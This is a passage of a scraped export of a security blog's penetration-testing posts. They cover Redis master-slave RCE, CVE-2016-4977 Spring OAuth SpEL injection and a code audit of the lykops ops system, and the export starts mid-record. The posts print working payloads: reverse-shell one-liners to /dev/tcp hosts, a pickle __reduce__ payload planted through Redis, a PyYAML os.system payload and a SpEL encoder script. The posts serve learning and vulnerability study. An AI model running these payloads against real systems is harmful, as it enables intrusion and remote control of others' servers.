href=\"https://zhuanlan.zhihu.com/p/124019191\"\u003ehttps://zhuanlan.zhihu.com/p/124019191\u003c/a\u003e、\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cfont style=\"color:rgb(18, 18, 18);\"\u003eThe client first interacts with GraphQL, which in turn interacts with arbitrary code, and finally ends the conversation with the database. The diagram describing this situation is:\u003c/font\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1619602167147-21303751-5952-44c2-90ef-34cef79ca79f.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cfont style=\"color:rgb(18, 18, 18);\"\u003eThis architectural change brings many advantages, for example:\u003c/font\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cfont style=\"color:rgb(18, 18, 18);\"\u003eAll the data the client needs can be obtained in a single request (whereas a REST API requires multiple requests)\u003c/font\u003e\u003c/li\u003e\n\u003cli\u003e\u003cfont style=\"color:rgb(18, 18, 18);\"\u003eA single Endpoint (URL) can handle multiple kinds of requests.\u003c/font\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"introspection\"\u003eIntrospection\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eIntrospection allows us to get information about all the Requests, Mutations, Subscriptions, and Data Types and all other things that are made available to the clients making requestsThis information is easily available by requesting \u003ccode\u003e___schema\u003c/code\u003e meta-field, which, according to the specification, is always available to the query of the “root” type.\u003c/p\u003e","title":"Attacking GraphQL — Learning GraphQL Security from the DVGA Range"},{"content":"# Redis \u0026lt;= 5.0.5 python redis-rogue-server.py --rhost [redis] --rport=6379 --lhost [vps] --lport 443 redis-rogue-server_poison.zip\n1. Introduction Setting Up the Environment Set up the environment with Docker\ndocker pull damonevking/redis5.0 docker run -p 6379:6379 -d damonevking/redis5.0 redis-server Normal Use of the Master-Slave Feature Redis is an open-source, network-enabled, in-memory, optionally persistent key-value store written in ANSI C. However, when data is stored in a single Redis instance and the read/write volume grows large, the server struggles to keep up. To handle this situation, Redis provides a master-slave mode: one redis instance acts as the master while the other instances all act as backups. The master and slaves hold identical data — slaves only handle reads while the master only handles writes. This read/write separation greatly relieves traffic pressure, and can be considered a mitigation approach that trades space for efficiency.\nSuppose Redis-1 listens on port 63791 and Redis-2 on port 63792.\nWe make Redis-1 the boss (Master); then we simply configure SLAVEOF [redis_ip] 63791 on Redis-2.\nUnder normal circumstances, the master node can both read and write; the slave node, acting as the \u0026ldquo;workhorse\u0026rdquo;, can only read data (synced from the master node) and cannot write data.\n2. Vulnerability Reproduction**** Prerequisites for exploitation\nRedis \u0026lt;= 5.0.5 The Redis service is accessible without authentication (bind changed from 127.0.0.1 to 0.0.0.0, protected-mode set to no) Specific steps\nIn practice, there are two roughly similar approaches, as follows:\nThe first approach uses the script from https://github.com/n0b0dyCN/redis-rogue-server (not recommended — the reverse shell easily crashes the environment)\nJust specify the vulnerable address directly.\nThere are two options: an interactive shell or a reverse shell, Interactive shell\nReverse shell\nIt is worth noting that since the reverse shell process is blocking, I suspect Redis cannot do anything else during this time.\nMoreover, the reverse shell approach is really unstable — it crashed the Redis Docker container many times\u0026hellip; The corresponding code is below\nThe second approach uses the script from https://github.com/LoRexxar/redis-rogue-server (recommended — simply executes commands)\nSame command\npython redis-rogue-server.py --rhost [redis_ip] --rport=6379 --lhost [your_vps_ip] --lport 21000 It is worth noting that both of the attack methods above, in addition to executing commands normally, also define a malicious function system.exec on the redis instance, which we can use directly once connected to Redis — see the effect in the figure below\nSo, if you simply want to verify the vulnerability, just use the interactive shell.\n3. Master-Slave RCE in SSRF Scenarios [ToDo] I\u0026rsquo;ll update this when I encounter a relevant scenario\nWhat to do when Redis has a password? Writing a webshell via master-slave replication TODO: https://xz.aliyun.com/t/8613\nhttps://xz.aliyun.com/t/5665#toc-3\n4. Further Reading The attack surface of unauthenticated Redis\n() CVE-2015-4335: Redis EVAL Lua Sandbox Security Bypass Vulnerability Redis \u0026lt; 2.8.21 Redis \u0026lt; 3.0.2 i.e. Redis 2.8.21 and 3.0.2 have been released to fix this issue.\nRefs:\nhttps://redis.com/blog/cve-2015-4335dsa-3279-redis-lua-sandbox-escape/ http://benmmurphy.github.io/blog/2015/06/04/redis-eval-lua-sandbox-escape/ http://wp.blkstone.me/2018/08/pivotal-software-redis-2-8-21-3-x-3-0-2-rce/ Build\ndocker pull redis:3.0.1 docker run -p 6379:6379 --name redis_3.0.1 redis:3.0.1 EXP\nhttp://wp.blkstone.me/2018/08/pivotal-software-redis-2-8-21-3-x-3-0-2-rce/ 5. Q\u0026amp;A Problems encountered, recorded here\nWhy did executing config fail Possibly because Redis has disabled the command, see https://blog.csdn.net/elesos/article/details/81280291\nRedis Running on a Unix Socket In fact, on Linux systems, if the redis client and server are on the same machine, you can use unix socket instead of listening on a TCP network port. The effect is very noticeable — using the unixSocket approach increases the speed by at least half. The correct URL syntax for connecting to a Redis server on a Unix socket is unix:///tmp/redis.sock The official documentation contains the following passage\nTo use a UNIX socket instead, open up the file /etc/redis.conf and locate the line mentioning unixsocket. Replace it with the following:\nJust configure it in the Redis configuration file.\nHow to connect:\nredis-cli -s /tmp/redis.sock For Redis running in unix socket mode, I have not yet found a way for SSRF to attack it. (Unless SSRF is performed via a handle-based approach like fopen, there might be a chance)\nRedis \u0026lt;= 5.0.5 Master-Slave Replication RCE · WgpSec POC Repository https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf https://www.chabug.org/web/669.html https://paper.seebug.org/975/ https://yulegeyublog.oss-cn-beijing.aliyuncs.com/redis_post_4.jpg Also, get to know the vulnerability\u0026rsquo;s discoverer — an independent security researcher who doesn\u0026rsquo;t use Twitter. (So envious!)\nPavel Toporkov | LinkedIn ","permalink":"https://www.unc.la/en/posts/penetration/qav794/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-http\" data-lang=\"http\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e# Redis \u0026lt;= 5.0.5\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e python redis-rogue-server.py --rhost [redis] --rport=6379 --lhost [vps] --lport 443\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ca href=\"https://www.yuque.com/attachments/yuque/0/2021/zip/166008/1616246856613-e8e31423-d43f-40c3-8ede-e6116ccd8bd3.zip\"\u003eredis-rogue-server_poison.zip\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"1-introduction\"\u003e1. Introduction\u003c/h1\u003e\n\u003ch2 id=\"setting-up-the-environment\"\u003eSetting Up the Environment\u003c/h2\u003e\n\u003cp\u003eSet up the environment with Docker\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-http\" data-lang=\"http\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003edocker pull damonevking/redis5.0 \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003edocker run -p 6379:6379 -d damonevking/redis5.0 redis-server\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"normal-use-of-the-master-slave-feature\"\u003eNormal Use of the Master-Slave Feature\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eRedis is an open-source, network-enabled, in-memory, optionally persistent key-value store written in ANSI C. However, when data is stored in a single Redis instance and the read/write volume grows large, the server struggles to keep up. To handle this situation, Redis provides a master-slave mode: one redis instance acts as the master while the other instances all act as backups. The master and slaves hold identical data — slaves only handle reads while the master only handles writes. This read/write separation greatly relieves traffic pressure, and can be considered a mitigation approach that trades space for efficiency.\u003c/p\u003e","title":"Redis \u003c= 5.0.5 Master-Slave Replication RCE Study Notes"},{"content":"0x01 Background Spring Security OAuth is a module that provides security authentication support for the Spring framework. On July 5, its maintainers published this upgrade announcement, which mainly explains that when users use Whitelabel views to handle errors, an attacker — once authorized — can remotely execute commands by crafting malicious parameters. The vulnerability\u0026rsquo;s discoverer publicly released the discovery write-up on October 13.\nSpEL expression injection!\n(1) Affected versions org.springframework.security.oauth - spring-security-oauth2:\n2.0.0 to 2.0.9 1.0.0 to 1.0.5 I took a look at the maven repository and found that 2.0.X was released in February 2016, which means the vulnerability was discovered roughly half a year after release. From this we can also draw a conclusion: hackers are not watching official releases around the clock — in other words, real-world 0day vulnerabilities can always be found by you.\nAnd the entire 1.X line is vulnerable.\n0x02 Vulnerability Reproduction (1) A small snag Since this is SpEL injection, let\u0026rsquo;s try executing a command directly. Below is the result of attempting to run the id command:\n${T(String).forName(\u0026#34;java.lang.Runtime\u0026#34;).getRuntime().exec(\u0026#39;id\u0026#39;)} Strange — there is no response echo, and it doesn\u0026rsquo;t look like the execution succeeded. As for the specific reason, we will follow up during the later analysis; let\u0026rsquo;s set that aside for now.\n(2) Bypass Since for some reason we cannot execute commands directly, consider using ASCII codes to bypass, similar to String.fromCharCode(65) =\u0026gt; \u0026quot;A\u0026quot; in JS:\nT(java.lang.Character).toString(65)\t=\u0026gt; \u0026#39;A\u0026#39; Next, a command is more than one letter — the letters need to be concatenated one by one, using the .concat() function:\nT(Character).toString(65).concat(T(Character).toString(66)) =\u0026gt; \u0026#39;AB\u0026#39; (3) Exploit Due to how the exec function in Java parses spaces, the reverse shell command needs to be transformed.\nFurther reading\nBypassing exec to get a reverse shell | Spoock The correct way to invoke java.lang.Runtime.exec There are currently two simple and practical approaches. Method one: use ${IFS} to replace the three spaces.\nbash -c bash${IFS}-i${IFS}\u0026gt;\u0026amp;${IFS}/dev/tcp/127.0.0.1/443 0\u0026gt;\u0026amp;1 Method two: encode the command you want to execute here.\nAfter the encoding above, use the following PoC.py to encode and send it:\n#!/usr/bin/env python # plz base64_encode the payload via {http://www.jackson-t.ca/runtime-exec-payloads.html} payload payload = input(\u0026#39;Enter message to encode:\u0026#39;) poc = \u0026#39;${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)\u0026#39; % ord(payload[0]) for ch in payload[1:]: poc += \u0026#39;.concat(T(java.lang.Character).toString(%s))\u0026#39; % ord(ch) poc += \u0026#39;)}\u0026#39; print(poc) Send the payload, and the reverse shell succeeds.\n(4) PoC Sometimes we don\u0026rsquo;t need a reverse shell; we only need to prove that command execution is possible. Here is a PoC suitable for verification — it sleeps for 10 seconds.\n${T(java.lang.Thread).sleep(10000)} 0x03 Vulnerability Analysis Alright, we\u0026rsquo;ve finally reached everyone\u0026rsquo;s favorite part: reading the code.\nFollowing the \u0026ldquo;environment setup\u0026rdquo; steps in seebug\u0026rsquo;s article, download the source code from http://secalert.net/research/cve-2016-4977.zip, import it into IDEA, and start debugging!\nFirst, the basic flow:\nOne key-value pair inside the error variable is controllable, and then the constructor of SpElView is the key point.\nRecursively parsing ${} expressions, as shown below: the code recursively parses multiple nested layers of expressions.\nThe recursive while in the code\u0026hellip;\nOriginally, the user\u0026rsquo;s input is not a fully controllable expression; it looks like ${padding + USER_INPUT + padding}.\nBut the problem is: on the one hand, the parsing rules recursively search for ${; on the other hand, the user\u0026rsquo;s input can also contain ${ — this allows an attacker to construct a complete SpEL expression and achieve RCE.\n0x04 Fix https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d\nThe prefix is a randomly generated 6-digit random number.\nIn other words: every time a SpEL expression is parsed, a random \u0026ldquo;delimiter\u0026rdquo; — random{ — is generated to replace the original ${. Even with recursive parsing still in place, the attacker can no longer forge a delimiter for the parser to process.\nHowever, since the random number is regenerated on every request, I personally don\u0026rsquo;t think it can be brute-forced. I disagree with the brute-force view in seebug\u0026rsquo;s article.\n0x05\tSummary At its core, this vulnerability is still a case of the boundary between data and code being broken. The user-controllable variable, originally treated as data — $errorSummary — gets parsed recursively; the parser should have guaranteed that the variable contains no ${, otherwise an attacker can fully control the SpEL expression and thereby achieve command execution.\nRefs https://secalert.net/#CVE-2016-4977 https://paper.seebug.org/70/ https://tanzu.vmware.com/de/security/cve-2016-4977 Special thanks to vulhub for building the vulnerability reproduction environment https://vulhub.org/#/environments/spring/CVE-2016-4977/ ","permalink":"https://www.unc.la/en/posts/penetration/oc1gdh/","summary":"\u003ch1 id=\"0x01---background\"\u003e0x01   Background\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cfont style=\"color:#3A4145;\"\u003eSpring Security OAuth is a module that provides security authentication support for the Spring framework. On July 5, its maintainers published this\u003c/font\u003e \u003ca href=\"https://pivotal.io/de/security/cve-2016-4977\"\u003eupgrade announcement\u003c/a\u003e\u003cfont style=\"color:#3A4145;\"\u003e, which mainly explains that when users use\u003c/font\u003e \u003ccode\u003eWhitelabel views\u003c/code\u003e \u003cfont style=\"color:#3A4145;\"\u003eto handle errors, an attacker — once authorized — can remotely execute commands by crafting malicious parameters. The vulnerability\u0026rsquo;s discoverer publicly released the\u003c/font\u003e \u003ca href=\"http://secalert.net/#CVE-2016-4977\"\u003ediscovery write-up\u003c/a\u003e \u003cfont style=\"color:#3A4145;\"\u003eon October 13.\u003c/font\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cfont style=\"color:#3A4145;\"\u003eSpEL expression injection!\u003c/font\u003e\u003c/p\u003e\n\u003ch2 id=\"1-affected-versions\"\u003e(1) Affected versions\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003eorg.springframework.security.oauth\u003c/code\u003e - \u003ccode\u003espring-security-oauth2\u003c/code\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e2.0.0 to 2.0.9\u003c/li\u003e\n\u003cli\u003e\u003cfont style=\"background-color:transparent;\"\u003e1.0.0 to 1.0.5\u003c/font\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI took a look at the \u003ca href=\"https://mvnrepository.com/artifact/org.springframework.security.oauth/spring-security-oauth2\"\u003emaven repository\u003c/a\u003e and found that \u003ccode\u003e2.0.X\u003c/code\u003e was released in February 2016, which means the vulnerability was discovered roughly half a year after release. From this we can also draw a conclusion: hackers are not watching official releases around the clock — in other words, real-world 0day vulnerabilities can always be found by you.\u003c/p\u003e","title":"[CVE-2016-4977] Spring Security OAuth RCE Vulnerability Study"},{"content":"Just read the PDF.\n【翻译】OWASP_NodeJS安全.pdf\n","permalink":"https://www.unc.la/en/posts/penetration/mhg9q8/","summary":"\u003cp\u003eJust read the PDF.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.yuque.com/attachments/yuque/0/2021/pdf/166008/1612842588939-7baae8e6-6305-4713-8b44-1846f356c7ec.pdf\"\u003e【翻译】OWASP_NodeJS安全.pdf\u003c/a\u003e\u003c/p\u003e","title":"[Translation] OWASP NodeJS Security"},{"content":"This post was first published as a contribution to the Alibaba Cloud Xianzhi community: Code Audit Notes on an Ops System (Django+MongoDB+Redis). Please credit the original source when reposting.\nI encountered this system during a certain engagement, where I got a shell through a weak password plus command injection in the backend.\nLater I found it quite interesting, so I spent a Saturday auditing it — and discovered that under certain conditions it allows direct RCE from the frontend\u0026hellip;\nBelow is the walkthrough of this audit.\n0x00 System Overview The system is called: lykops ops system\nCode repository: https://github.com/lykops/lykops The default account and password are as follows lykops 1qaz2wsx Frontend login page\nThe page after logging into the backend\nOn the database side, unlike the typical Django + SQLite/MySQL setup, it uses MongoDB + Redis User data is stored in Mongo Redis serves as the cache With this combination, the attack surface grows from the web application alone to the web plus two services.\n0x01 Default Configuration If you clone this project\u0026rsquo;s repo and use it as-is, you will be exposed to risks caused by the default configuration.\nDebug mode enabled by default No explanation needed — in lykops/settings.py, Debug is on by default.\n# SECURITY WARNING: don\u0026#39;t run with debug turned on in production! DEBUG = True How to exploit this?\n— Make Django throw an error, thereby leaking sensitive information! Here I used a POST array parameter, and as you can see, the password hash has already leaked\nHardcoded secret key The source code is here, again in lykops/settings.py\nhttps://github.com/lykops/lykops/blob/ed7e35d0c1abb1eacf7ab365e041347d0862c0a7/lykops/settings.py#L29\n# lykops/settings.py SECRET_KEY = \u0026#39;-mii=_9j2@!^7#lbjgo6=6930#@)dle18^wdj^b@xa68=-3bed\u0026#39; The SECRET_KEY in the original repo is shown above. This value is supposed to be auto-generated when each Django project is created, yet here it is hardcoded. If you can\u0026rsquo;t be bothered to change it, well\u0026hellip; In fact, Westerners discussed this issue ten years ago; see the best practice here =\u0026gt; distributing-django-projects-with-unique-secret-keys\nThat said, what does this key actually do? Let\u0026rsquo;s first look at the official documentation.\nThat\u0026rsquo;s right — in theory it can be used to forge signatures! After studying the article by the veteran xxlegend, From Django\u0026rsquo;s SECRET_KEY to Code Execution | xxlegend, I also traced through the Django 1.11 source code myself and reached the following conclusions\nIn Django below 1.6, sessions use pickle for serialization by default; in 1.6 and above, JSON serialization is the default. Code execution only exists in operations that use pickle serialization, i.e., Django \u0026lt;= 1.6 A tool for exploiting this kind of leaked-key issue: https://github.com/danghvu/pwp — a pretty nice implementation approach All in all, a target environment running django 1.11 won\u0026rsquo;t suffer RCE from a leaked secret key. And from my current pentest perspective, I had no pressing need to research identity forgery (weak passwords\u0026hellip;\u0026hellip;), so I didn\u0026rsquo;t dig deeper into exploitation schemes for identity forgery. (Personal habit: I prefer to analyze and solve a class of problems after actually encountering it.) If any of you are knowledgeable on this, please kindly share in the comments.\n0x02 Unauthenticated Redis =\u0026gt; Frontend RCE A pickle deserialization vulnerability at the login endpoint!\nLogic Analysis Let\u0026rsquo;s first look at the login route, which is ^login.html; the corresponding logic is the login function of the Login class\nFollowing into the login function, for the deserialization part, we mainly need to look at line 81.\nLine 81 passes in the user=adminuser variable. By searching the codebase for the variable name, we find that the value of adminuser defaults to lykops\nFollowing into get_userinfo, we find it simply fetches the user\u0026rsquo;s login cache from Redis\nNow let\u0026rsquo;s think: user data, in the Python context, necessarily exists in the form of Python objects; whereas in Redis, it is most likely stored as strings. So far the understanding checks out, right?\nRedis supports five data types: string, hash, list, set, and zset (sorted set)\nGoing one step further: for the string stored in Redis to be converted into a Python object, there must be a deserialization implementation — and if the deserialization is not properly restricted, there\u0026rsquo;s a vulnerability. So which function does it use for deserialization?\nThe implementation of this get, when the input parameter is fmt=obj, deserializes [the string fetched from Redis] — and the deserialization function is, incredibly, pickle.loads!\nIf you\u0026rsquo;re not yet familiar with Python deserialization attacks, you can refer to the post Python Deserialization Attacks from Scratch.\nThe image below is a small demo of achieving command execution via deserialization in a Python cmdline\nSimply put, what we need to do is:\nExploit the fact that a Python class\u0026rsquo;s __reduce__ method gets executed during pickle deserialization: first construct a malicious string, then achieve command execution through deserialization. pickle.loads requires its input to be of type Byte, and the result fetched from Redis is of type Byte by default, so no extra encoding conversion is needed. In actual exploitation, all you need is unauthenticated access to Redis: we can overwrite the value of lykops to inject a malicious string for Python to deserialize, thereby achieving command execution! Exploitation The payload generation code is as follows\n#!/usr/bin/env python3 import pickle import os class py(): def __reduce__(self): return (os.system, (\u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.111.2/1337 0\u0026gt;\u0026amp;1\u0026#39;,)) payload = pickle.dumps(py()) # b\u0026#39;\\x80\\x03cposix\\nsystem\\nq\\x00X)\\x00\\x00\\x00bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.111.1/1337 0\u0026gt;\u0026amp;1q\\x01\\x85q\\x02Rq\\x03.\u0026#39; Below is the attack walkthrough. First, connect to Redis using the hardcoded Redis password 1qaz2wsx. There were existing values inside; the user hashes could be fed to hydra for cracking, which I won\u0026rsquo;t cover here.\nWrite the malicious string for the reverse shell\n# 写入key set lykops:userinfo \u0026#34;\\x80\\x03cposix\\nsystem\\nq\\x00X)\\x00\\x00\\x00bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.111.1/1337 0\u0026gt;\u0026amp;1q\\x01\\x85q\\x02Rq\\x03.\u0026#34; # 查看key get lykops:userinfo # 重置key，后续用于恢复网站 set lykops:userinfo 1 Click login, and the RCE triggers!\nOne more remark here. For whatever reason, Django keeps deserializing the data in lykops:userinfo — and this process is blocking, so after we get the shell, we\u0026rsquo;ll see the site hang. To restore the site, you need to reset the key.\nWhen you see this, you\u0026rsquo;ll notice this exploitation idea is quite similar to the one in P-niu\u0026rsquo;s article Python Vulnerability Hunting on a Zhangyue iReader Site | Leavesongs, right? Indeed — the reason I thought to look at this point was precisely that article of P-niu\u0026rsquo;s popping into my head. Young folks should learn more from their predecessors ; D\n0x03 Backend YAML Deserialization Python has a deserialization vulnerability when parsing YAML-formatted content. Referring to the article A Brief Discussion of the PyYAML Deserialization Vulnerability, we get the following key points\nBefore PyYAML version 5.1, we have the following deserialization methods: load(data)\nload(data, Loader=Loader)\nload_all(data)\nload_all(data, Loader=Loader)\nWhen yaml deserializes, it dynamically creates new Python class objects based on the parameters, or creates objects by referencing classes from modules, and thus can execute arbitrary commands~ Therefore, as long as Python code contains yaml.load() with controllable parameters, the yaml deserialization can be leveraged for RCE.\nLogic Analysis First, while testing the previous issue, I noticed something\nPython performs YAML syntax checking, so parsing yaml files very likely uses yaml.load!\nSo let\u0026rsquo;s follow the code — search the codebase for yaml.load\nThere\u0026rsquo;s a facade method yaml_loader on the outside,\nNo filtering, and a pile of call sites — so basically no need to trace further.\nBefore exploiting, though, we still need to check the version, because PyYAML 5.1 is the boundary: the exploitation methods above and below it differ.\nDoes this project pin a PyYAML version? Check requirements.txt\nNo version is pinned. So look on the local machine\n\u0026gt;\u0026gt;\u0026gt; python3 -m pip list |grep PyYAML PyYAML 3.12 It\u0026rsquo;s Py3\u0026rsquo;s default PyYAML 3.12 — exactly the ideal deserialization scenario. Let\u0026rsquo;s go!\nExploitation Still the upload point from 0x02 above; just construct the following content and send it\n!!python/object/new:os.system [\u0026#34;sleep 2\u0026#34;] RCE!\nIt\u0026rsquo;s just that this command execution point runs a command only once, making it all the more pure.\n0x04 Backend Command Injection Vulnerability Logic Analysis Search the codebase for common command-execution functions\nos\\.system|os\\.popen|subprocess\\.|exec\\(|commands\\.|os\\.spawn I spotted an interesting spot — a file path is passed in directly?\nWe follow into the upload_file function in lykops/library/utils/file.py#248, where we can see there is no filtering at all\nSo where does the file variable come from?\nLooking at the function\u0026rsquo;s callers, we follow to import_upload, then trace further up\nFinally, at lykops/lykops/ansible/yaml.py#74, I found the entry point of this vulnerability: the file variable comes from our HTTP request.\nThe corresponding route is ^ansible/yaml/import$.\nYou can see that if an error occurs during upload, the import_file function gets called twice — i.e., the command executes twice.\nExploitation We access it directly, upload a file and intercept the request\nChange the filename, and the command injection is complete.\n0x0? Unauthenticated Add-Admin Endpoint While installing this system, I noticed that you can add an administrator at the very beginning,\nThe route is here\nurl(r\u0026#39;^user/create_admin\u0026#39;, Login(mongoclient=mongoclient, redisclient=redisclient).create_admin, name=\u0026#39;create_admin\u0026#39;), Now let\u0026rsquo;s look at the implementation code for creating an administrator\nClearly problematic. It first checks the request method: if it\u0026rsquo;s a GET request, it queries MongoDB for whether a superadmin user currently exists (the default value is lykops, as mentioned above), and if none exists, it renders the create administrator template.\nMy dear developer, please stop writing things so convolutedly — for POST requests, you have no authentication whatsoever.\nBut but but — I hadn\u0026rsquo;t noticed that it forcibly specifies creating an adminuser afterwards, so it actually can\u0026rsquo;t be exploited at all\u0026hellip;\nSummary Thanks for reading!\nAfter this round of code auditing, the ways to get a shell turned out to be many and varied; but no matter what, the root cause is always ops/dev personnel lacking security awareness and cutting corners for convenience.\nAlong the way, I also learned some best practices — for example, when distributing a Django project with a dynamically imported SECRET_KEY, it\u0026rsquo;s best to use the system\u0026rsquo;s environment variables.\nFurthermore, if we raise the bar a bit — elevating to secure design. From this fragile project, another example comes to mind: think about why the BT (BaoTa) panel\u0026rsquo;s account and password are not saved in a config file, but instead require running a command, bt default, to reveal them? One of the reasons, isn\u0026rsquo;t it precisely to prevent them from being swiped by vulnerabilities like local arbitrary file read?\nRemember: vulnerabilities often work in combination. The goal of secure design is to reduce security dependencies between components — if the moat falls, there\u0026rsquo;s still the city gate; if the gate is breached, there are still sentries.\nSo, my personal take: studying security means learning not only security techniques but also security philosophy — extrapolating from one case to others is what produces a qualitative leap.\nRefs Minimized risk of SECRET_KEY leak. https://github.com/django/django/pull/2714 https://github.com/danghvu/pwp/blob/master/exploit.py A Brief Discussion of the PyYAML Deserialization Vulnerability - Xianzhi Community https://xz.aliyun.com/t/7923#toc-10 From Django\u0026rsquo;s SECRET_KEY to Code Execution | xxlegendhttp://xxlegend.com/2015/04/01/%E4%BB%8EDjango%E7%9A%84SECTET_KEY%E5%88%B0%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/ Appendix: Deployment Guide When deploying this code, I stepped on a few small pitfalls, so I added some content on top of the official installation instructions and put it in the attachment.\nMasters who want to analyze it yourselves can set up the environment and do a reproduction.\nOne last thing: this code is basically only used on intranets (I couldn\u0026rsquo;t find a single instance on FOFA anyway).\nTherefore, please set it up locally and do NOT use it in a production environment!\nDeployment Manual (Chinese)\n","permalink":"https://www.unc.la/en/posts/penetration/nqxgtn/","summary":"\u003cp\u003eThis post was first published as a contribution to the Alibaba Cloud Xianzhi community: \u003ca href=\"https://xz.aliyun.com/t/9195\"\u003eCode Audit Notes on an Ops System (Django+MongoDB+Redis)\u003c/a\u003e. Please credit the original source when reposting.\u003c/p\u003e\n\u003cp\u003eI encountered this system during a certain engagement, where I got a shell through a weak password plus command injection in the backend.\u003c/p\u003e\n\u003cp\u003eLater I found it quite interesting, so I spent a Saturday auditing it — and discovered that under certain conditions it allows direct RCE from the frontend\u0026hellip;\u003c/p\u003e","title":"[Guest Post] Code Audit Notes on an Ops System (Django+MongoDB+Redis)"},{"content":"This post was first published on the Alibaba Cloud Xianzhi community at A Practical Java Servlet Audit - Xianzhi Community; please cite the original source when reproducing it.\nThanks for reading!\n0x00 Background During a penetration test, I came across a JSP site. After getting into the admin panel with weak credentials, I found it had very few features and was not easy to exploit. A quick check yielded no breakthrough, yet the boss\u0026rsquo;s requirement was to get a shell as soon as possible\u0026hellip;\nAfter some sorting out, my thinking was: either take over the admin panel through vulnerabilities, or obtain the source code and charge in with white-box testing. White-box is great and also does a lot for improving audit skills, so we can try the following steps:\nDirectory scanning. Use the dirbuster wordlist directory-list-2.3-medium.txt with the jsp extension to scan; any tool you\u0026rsquo;re comfortable with works, e.g. dirseach Cloud-drive leaks. This system is not open source, so I figured the vendor probably left plenty of files on cloud drives when releasing it, and a simple search did return results. On a cloud-drive search engine, I found the vendor\u0026rsquo;s installation package, but it appeared to be a PE file that still needed installing, and it was unclear whether it was obfuscated/encrypted, so I set it aside for the time being. Inner monologue: these days — you\u0026rsquo;d better not click on things recklessly.\nGitHub and GitLab leaks. Tried multiple keywords, all to no avail Use FOFA to find sites of the same type. This goes without saying — whether backup files weren\u0026rsquo;t deleted at release time, or ops staff were careless, such things are easy to discover. Meanwhile, on FOFA, searching by favicon.ico or by title yields surprisingly impressive accuracy As for tooling, I first went with broken5\u0026rsquo;s https://github.com/broken5/WebAliveScan, but after blasting away with 1024 threads, nothing turned up\u0026hellip;\nWondering whether the wordlist just wasn\u0026rsquo;t strong enough, I next used the wordlist bundled with dirsearch (about 17,000 entries),\n# With a big enough wordlist, nothing can\u0026#39;t be taken down python3 dirsearch3.py -e \u0026#34;jsp\u0026#34; -l ip_port.txt -t 50 --plain-text-report=ip_port_DirScan.txt -q Running it against the target list took a whole morning, but it finally paid off — web.rar. Sweet!\nNight fell, open IDEA! Dawn came, close IDEA.\nI found that while jsp code isn\u0026rsquo;t hard to read, with shaky fundamentals, auditing the code was enough to make your head hurt — hence the first chapter below.\n0x01 Servlet Basics Under normal circumstances, the directory structure looks like this\nexampleApp └─images └─WEB-INF │ ├─classes # Contains all Servlet classes and other class files [important] │ │ └─com\t│ │\t└─example │\t│ │ └─lib\t# Where the project\u0026#39;s dependency packages are stored (.jar files) └─web.xml\t# The Servlet configuration file [important] Defining routes\nRoutes can be defined in one of two places: Servlet annotations or web.xml; pick either one when configuring.\nⅠ Annotations in Servlet @WebServlet(\u0026#34;/Hello\u0026#34;) public class HelloServlet extends HttpServlet{ // Method that handles GET method requests public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(\u0026#34;text/html;charset=UTF-8\u0026#34;); // implemented code } // Method that handles POST method requests protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(\u0026#34;text/html;charset=UTF-8\u0026#34;); // implemented code } } Before Servlet 3.0, you had to configure things in web.xml to use a Servlet. Since routing and logic aren\u0026rsquo;t implemented together in that style and it\u0026rsquo;s less familiar, let\u0026rsquo;s focus on it.\nⅡ The configuration file web.xml In a Java project, web.xml can configure web routes. It has many attributes, but we mainly care about two:\nthe corresponding class name ,** the route. Provides a default URL for the servlet: http://host/webAppPre fix/servlet/ServletName \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;ISO-8859-1\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE web-app PUBLIC \u0026#34;-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\u0026#34; \u0026#34;http://java.sun.com/dtd/web-app_2_3.dtd\u0026#34;\u0026gt; \u0026lt;web-app\u0026gt; 